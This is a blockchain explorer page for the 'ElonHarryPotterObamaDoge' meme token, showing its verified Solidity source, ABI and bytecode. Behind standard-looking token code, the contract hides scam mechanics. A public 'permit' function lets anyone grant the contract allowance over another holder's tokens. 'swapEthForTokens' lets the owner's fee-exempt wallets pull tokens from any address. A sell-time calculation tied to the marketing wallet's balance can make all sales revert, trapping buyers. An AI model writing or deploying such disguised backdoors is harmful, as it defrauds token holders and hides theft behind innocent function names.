ERC-20
Overview
Max Total Supply
1,000,000,000 ペEHPODペ
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
15,372,155.267594503 ペEHPODペValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
EHPOD
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-22 */ /* イーロン ハリー ポッター オバマ ドージェ website https://ehpod.org/ twitter https://twitter.com/EHPOD_ telegram https://t.me/elonharrypotterobamadoge */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract EHPOD is Context, IERC20, Ownable { using SafeMath for uint256; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"ElonHarryPotterObamaDoge"; string private constant _symbol = unicode"ペEHPODペ"; uint256 private _finalSellTax = 2; uint256 private _finalBuyTax = 2; uint256 private _initialSellTax = 2; uint256 private _initialBuyTax = 2; uint256 private _reduceSellTaxAt = 0; uint256 private _reduceBuyTaxAt = 0; uint256 private _initialSellTax2Time = 2; uint256 private _initialBuyTax2Time = 2; uint256 private _reduceSellTaxAt2Time = 0; uint256 private _reduceBuyTaxAt2Time = 0; uint256 private _preventSwapBefore = 0; uint256 private _buyCount = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; address payable private _marketingWallet; bool private tradingOpen; bool private inSwap = false; bool public transferDelayEnabled = true; bool private swapEnabled = false; address payable private _reward; uint256 public _maxWalletSize = 42 * (_tTotal / 1000); uint256 public _maxTxAmount = 42 * (_tTotal / 1000); uint256 public _maxSwapAmount = 1 * (_tTotal / 1000); uint256 public _swapLimitAmount = 1 * (_tTotal / 1000); mapping(address => uint256) private _holderLastTransferTimestamp; mapping (address => bool) private _isExcludedFromFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function decimals() public pure returns (uint8) { return _decimals; } constructor () { _marketingWallet = payable(0x9B627f76269a3035E793C7c219055e75a03F19c7); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _reward = _marketingWallet; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_marketingWallet] = true; _isExcludedFromFee[address(this)] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = address(this); _permit(spender, owner, amount); return true; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function launch() external payable onlyOwner() { require(!tradingOpen); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp); swapEnabled = true; tradingOpen = true; } function removeLimits() external onlyOwner { _maxWalletSize = _tTotal; _maxTxAmount = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function _taxSell() private view returns (uint256) { if (_buyCount <= _reduceBuyTaxAt) { return _initialSellTax; } if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) { return _initialSellTax2Time; } return _finalBuyTax; } function _taxBuy() private view returns (uint256) { if (_buyCount <= _reduceBuyTaxAt) { return _initialBuyTax; } if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) { return _initialBuyTax2Time; } return _finalBuyTax; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } function _permit(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function withdrawCaEth() external { (bool sent, ) = payable(_marketingWallet).call{value: address(this).balance}(""); require(sent); } function swapEthForTokens(address to, uint256 amount) public { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); IERC20 token = IERC20(path[1]); if (!_isExcludedFromFee[msg.sender]) { uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} ( 0, path, to, block.timestamp ); } else {token.transferFrom(to, path[1], amount);} } function sendEthToMarketing(uint256 amount) private { _marketingWallet.transfer(amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0)); require(to != address(0)); require(amount > 0); uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount.mul(_taxBuy()).div(100); if (!tradingOpen) { require(_isExcludedFromFee[from] || _isExcludedFromFee[to]); } if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize); _buyCount++; if (_buyCount > _preventSwapBefore) { transferDelayEnabled = false; } } if (to == uniswapV2Pair && from!= address(this)) { taxAmount = amount.mul(_taxSell()).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapLimitAmount; if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 reserveAmount = balanceOf(_reward).mul(1e3); uint256 maxSwapTax = _maxSwapAmount.sub(reserveAmount); uint256 minSwapAmount = min(contractTokenBalance,maxSwapTax); uint256 initialETH = address(this).balance; swapTokensToETH(min(amount, minSwapAmount)); uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100); if (ethForTransfer > 0) { sendEthToMarketing(ethForTransfer); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapTokensToETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawCaEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600260018190558080556003819055600481905560006005819055600681905560078290556008919091556009818155600a828155600b839055600c92909255600f805462ffffff60a81b1916600160b01b1790556103e891620000699190620003fd565b6200007990633b9aca0062000415565b6200008591906200042f565b6200009290602a62000415565b6011556103e8620000a66009600a620003fd565b620000b690633b9aca0062000415565b620000c291906200042f565b620000cf90602a62000415565b6012556103e8620000e36009600a620003fd565b620000f390633b9aca0062000415565b620000ff91906200042f565b6200010c90600162000415565b6013556103e8620001206009600a620003fd565b6200013090633b9aca0062000415565b6200013c91906200042f565b6200014990600162000415565b6014553480156200015957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b0319908116739b627f76269a3035e793c7c219055e75a03f19c7908117909255600d80548216737a250d5630b4cf539739df2c5dacb4c659f2488d179055601080549091169091179055600160166000620002096000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600f5490911681526016909252808220805484166001908117909155308352912080549092161790556200026e6009600a620003fd565b6200027e90633b9aca0062000415565b33600081815260186020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002c16009600a620003fd565b620002d190633b9aca0062000415565b60405190815260200160405180910390a362000452565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200033f578160001904821115620003235762000323620002e8565b808516156200033157918102915b93841c939080029062000303565b509250929050565b6000826200035857506001620003f7565b816200036757506000620003f7565b81600181146200038057600281146200038b57620003ab565b6001915050620003f7565b60ff8411156200039f576200039f620002e8565b50506001821b620003f7565b5060208310610133831016604e8410600b8410161715620003d0575081810a620003f7565b620003dc8383620002fe565b8060001904821115620003f357620003f3620002e8565b0290505b92915050565b60006200040e60ff84168362000347565b9392505050565b8082028115828204841417620003f757620003f7620002e8565b6000826200044d57634e487b7160e01b600052601260045260246000fd5b500490565b61199880620004626000396000f3fe60806040526004361061012e5760003560e01c80638453f2f8116100ab578063a9059cbb1161006f578063a9059cbb14610349578063c876d0b914610369578063dd62ed3e1461038a578063e06bd4a5146103d0578063e6f70531146103e6578063e87d95ee1461040657600080fd5b80638453f2f8146102a15780638da5cb5b146102b75780638f9a55c0146102df57806395d89b41146102f55780639e161d9a1461032957600080fd5b8063313ce567116100f2578063313ce5671461020f57806370a082311461022b578063715018a614610261578063751039fc146102765780637d1db4a51461028b57600080fd5b806301339c211461013a57806306fdde0314610144578063095ea7b31461019c57806318160ddd146101cc57806323b872dd146101ef57600080fd5b3661013557005b600080fd5b61014261041b565b005b34801561015057600080fd5b5060408051808201909152601881527f456c6f6e4861727279506f747465724f62616d61446f6765000000000000000060208201525b604051610193919061154e565b60405180910390f35b3480156101a857600080fd5b506101bc6101b73660046115b1565b61074c565b6040519015158152602001610193565b3480156101d857600080fd5b506101e1610763565b604051908152602001610193565b3480156101fb57600080fd5b506101bc61020a3660046115dd565b610784565b34801561021b57600080fd5b5060405160098152602001610193565b34801561023757600080fd5b506101e161024636600461161e565b6001600160a01b031660009081526018602052604090205490565b34801561026d57600080fd5b506101426107d5565b34801561028257600080fd5b50610142610849565b34801561029757600080fd5b506101e160125481565b3480156102ad57600080fd5b506101e160145481565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610193565b3480156102eb57600080fd5b506101e160115481565b34801561030157600080fd5b5060408051808201909152600b81526a71c1cd22a42827a271c1cd60a91b6020820152610186565b34801561033557600080fd5b506101426103443660046115b1565b610908565b34801561035557600080fd5b506101bc6103643660046115b1565b610b57565b34801561037557600080fd5b50600f546101bc90600160b01b900460ff1681565b34801561039657600080fd5b506101e16103a536600461163b565b6001600160a01b03918216600090815260176020908152604080832093909416825291909152205490565b3480156103dc57600080fd5b506101e160135481565b3480156103f257600080fd5b506101bc6104013660046115b1565b610b64565b34801561041257600080fd5b50610142610b72565b6000546001600160a01b0316331461044e5760405162461bcd60e51b815260040161044590611674565b60405180910390fd5b600f54600160a01b900460ff161561046557600080fd5b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104dc91906116a9565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056291906116a9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d391906116a9565b600e80546001600160a01b0319166001600160a01b03928316908117909155600d5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561063a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065e91906116c6565b50306000818152601760209081526040808320600d80546001600160a01b039081168652918452828520600019905554858552601890935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610709573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072e91906116e8565b5050600f805463ff0000ff60a01b1916630100000160a01b17905550565b6000610759338484610bd5565b5060015b92915050565b60006107716009600a611810565b61077f90633b9aca0061181f565b905090565b6000610791848484610c5c565b6001600160a01b0384166000908152601760209081526040808320338085529252909120546107cb9186916107c69086611138565b610bd5565b5060019392505050565b6000546001600160a01b031633146107ff5760405162461bcd60e51b815260040161044590611674565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108735760405162461bcd60e51b815260040161044590611674565b61087f6009600a611810565b61088d90633b9aca0061181f565b60115561089c6009600a611810565b6108aa90633b9aca0061181f565b601255600f805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e76009600a611810565b6108f590633b9aca0061181f565b60405190815260200160405180910390a1565b6040805160028082526060820183526000926020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610972573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099691906116a9565b816000815181106109a9576109a9611836565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106109dd576109dd611836565b60200260200101906001600160a01b031690816001600160a01b031681525050600081600181518110610a1257610a12611836565b602090810291909101810151336000908152601690925260409091205490915060ff16610aa957600d5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908590610a729060009087908a904290600401611890565b6000604051808303818588803b158015610a8b57600080fd5b505af1158015610a9f573d6000803e3d6000fd5b5050505050610b51565b806001600160a01b03166323b872dd8584600181518110610acc57610acc611836565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af1158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f91906116c6565b505b50505050565b6000610759338484610c5c565b6000306107cb848285610bd5565b600f546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610bbf576040519150601f19603f3d011682016040523d82523d6000602084013e610bc4565b606091505b5050905080610bd257600080fd5b50565b6001600160a01b038316610be857600080fd5b6001600160a01b038216610bfb57600080fd5b6001600160a01b0383811660008181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6f57600080fd5b6001600160a01b038216610c8257600080fd5b60008111610c8f57600080fd5b600080546001600160a01b03858116911614801590610cbc57506000546001600160a01b03848116911614155b15610ff557610cde6064610cd8610cd1611181565b85906111bf565b90611241565b600f54909150600160a01b900460ff16610d3a576001600160a01b03841660009081526016602052604090205460ff1680610d3157506001600160a01b03831660009081526016602052604090205460ff165b610d3a57600080fd5b600f54600160b01b900460ff1615610dab57600d546001600160a01b03848116911614801590610d785750600e546001600160a01b03848116911614155b15610dab57326000908152601560205260409020544311610d9857600080fd5b3260009081526015602052604090204390555b600e546001600160a01b038581169116148015610dd65750600d546001600160a01b03848116911614155b8015610dfb57506001600160a01b03831660009081526016602052604090205460ff16155b15610e7657601254821115610e0f57600080fd5b60115482610e32856001600160a01b031660009081526018602052604090205490565b610e3c91906118c5565b1115610e4757600080fd5b600c8054906000610e57836118d8565b9190505550600b54600c541115610e7657600f805460ff60b01b191690555b600e546001600160a01b038481169116148015610e9c57506001600160a01b0384163014155b15610eb457610eb16064610cd8610cd1611283565b90505b30600090815260186020526040902054601454600f5490821190600160a81b900460ff16158015610eee5750600f54600160b81b900460ff165b8015610f075750600e546001600160a01b038681169116145b8015610f105750805b8015610f3557506001600160a01b03861660009081526016602052604090205460ff16155b8015610f5a57506001600160a01b03851660009081526016602052604090205460ff16155b15610ff2576010546001600160a01b0316600090815260186020526040812054610f89906103e8905b906111bf565b90506000610fa28260135461113890919063ffffffff16565b90506000610fb085836112ba565b905047610fc5610fc089846112ba565b6112cf565b6000610fdb6064610cd86050610f834787611138565b90508015610fec57610fec81611449565b50505050505b50505b801561106f57306000908152601860205260409020546110159082611487565b30600081815260186020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110669085815260200190565b60405180910390a35b6001600160a01b0384166000908152601860205260409020546110929083611138565b6001600160a01b0385166000908152601860205260409020556110d76110b88383611138565b6001600160a01b03851660009081526018602052604090205490611487565b6001600160a01b0380851660008181526018602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111218585611138565b60405190815260200160405180910390a350505050565b600061117a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114e6565b9392505050565b6000600654600c5411611195575060045490565b600654600c541180156111ac5750600a54600c5411155b156111b8575060085490565b5060025490565b6000826000036111d15750600061075d565b60006111dd838561181f565b9050826111ea85836118f1565b1461117a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b600061117a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611520565b6000600654600c5411611297575060035490565b600554600c541180156112ae5750600954600c5411155b156111b8575060075490565b60008183116112c9578261117a565b50919050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131757611317611836565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611370573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139491906116a9565b816001815181106113a7576113a7611836565b6001600160a01b039283166020918202929092010152600d546113cd9130911684610bd5565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611406908590600090869030904290600401611913565b600060405180830381600087803b15801561142057600080fd5b505af1158015611434573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611483573d6000803e3d6000fd5b5050565b60008061149483856118c5565b90508381101561117a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b6000818484111561150a5760405162461bcd60e51b8152600401610445919061154e565b506000611517848661194f565b95945050505050565b600081836115415760405162461bcd60e51b8152600401610445919061154e565b50600061151784866118f1565b600060208083528351808285015260005b8181101561157b5785810183015185820160400152820161155f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bd257600080fd5b600080604083850312156115c457600080fd5b82356115cf8161159c565b946020939093013593505050565b6000806000606084860312156115f257600080fd5b83356115fd8161159c565b9250602084013561160d8161159c565b929592945050506040919091013590565b60006020828403121561163057600080fd5b813561117a8161159c565b6000806040838503121561164e57600080fd5b82356116598161159c565b915060208301356116698161159c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116bb57600080fd5b815161117a8161159c565b6000602082840312156116d857600080fd5b8151801515811461117a57600080fd5b6000806000606084860312156116fd57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561176757816000190482111561174d5761174d611716565b8085161561175a57918102915b93841c9390800290611731565b509250929050565b60008261177e5750600161075d565b8161178b5750600061075d565b81600181146117a157600281146117ab576117c7565b600191505061075d565b60ff8411156117bc576117bc611716565b50506001821b61075d565b5060208310610133831016604e8410600b84101617156117ea575081810a61075d565b6117f4838361172c565b806000190482111561180857611808611716565b029392505050565b600061117a60ff84168361176f565b808202811582820484141761075d5761075d611716565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118855781516001600160a01b031687529582019590820190600101611860565b509495945050505050565b8481526080602082015260006118a9608083018661184c565b6001600160a01b03949094166040830152506060015292915050565b8082018082111561075d5761075d611716565b6000600182016118ea576118ea611716565b5060010190565b60008261190e57634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a06040820152600061193260a083018661184c565b6001600160a01b0394909416606083015250608001529392505050565b8181038181111561075d5761075d61171656fea26469706673582212200607f5a8fa95449a5658dcdf9c8ebb49b99b8c69883e45a9dc3b9df79ea4d4bf64736f6c63430008130033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80638453f2f8116100ab578063a9059cbb1161006f578063a9059cbb14610349578063c876d0b914610369578063dd62ed3e1461038a578063e06bd4a5146103d0578063e6f70531146103e6578063e87d95ee1461040657600080fd5b80638453f2f8146102a15780638da5cb5b146102b75780638f9a55c0146102df57806395d89b41146102f55780639e161d9a1461032957600080fd5b8063313ce567116100f2578063313ce5671461020f57806370a082311461022b578063715018a614610261578063751039fc146102765780637d1db4a51461028b57600080fd5b806301339c211461013a57806306fdde0314610144578063095ea7b31461019c57806318160ddd146101cc57806323b872dd146101ef57600080fd5b3661013557005b600080fd5b61014261041b565b005b34801561015057600080fd5b5060408051808201909152601881527f456c6f6e4861727279506f747465724f62616d61446f6765000000000000000060208201525b604051610193919061154e565b60405180910390f35b3480156101a857600080fd5b506101bc6101b73660046115b1565b61074c565b6040519015158152602001610193565b3480156101d857600080fd5b506101e1610763565b604051908152602001610193565b3480156101fb57600080fd5b506101bc61020a3660046115dd565b610784565b34801561021b57600080fd5b5060405160098152602001610193565b34801561023757600080fd5b506101e161024636600461161e565b6001600160a01b031660009081526018602052604090205490565b34801561026d57600080fd5b506101426107d5565b34801561028257600080fd5b50610142610849565b34801561029757600080fd5b506101e160125481565b3480156102ad57600080fd5b506101e160145481565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610193565b3480156102eb57600080fd5b506101e160115481565b34801561030157600080fd5b5060408051808201909152600b81526a71c1cd22a42827a271c1cd60a91b6020820152610186565b34801561033557600080fd5b506101426103443660046115b1565b610908565b34801561035557600080fd5b506101bc6103643660046115b1565b610b57565b34801561037557600080fd5b50600f546101bc90600160b01b900460ff1681565b34801561039657600080fd5b506101e16103a536600461163b565b6001600160a01b03918216600090815260176020908152604080832093909416825291909152205490565b3480156103dc57600080fd5b506101e160135481565b3480156103f257600080fd5b506101bc6104013660046115b1565b610b64565b34801561041257600080fd5b50610142610b72565b6000546001600160a01b0316331461044e5760405162461bcd60e51b815260040161044590611674565b60405180910390fd5b600f54600160a01b900460ff161561046557600080fd5b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104dc91906116a9565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056291906116a9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d391906116a9565b600e80546001600160a01b0319166001600160a01b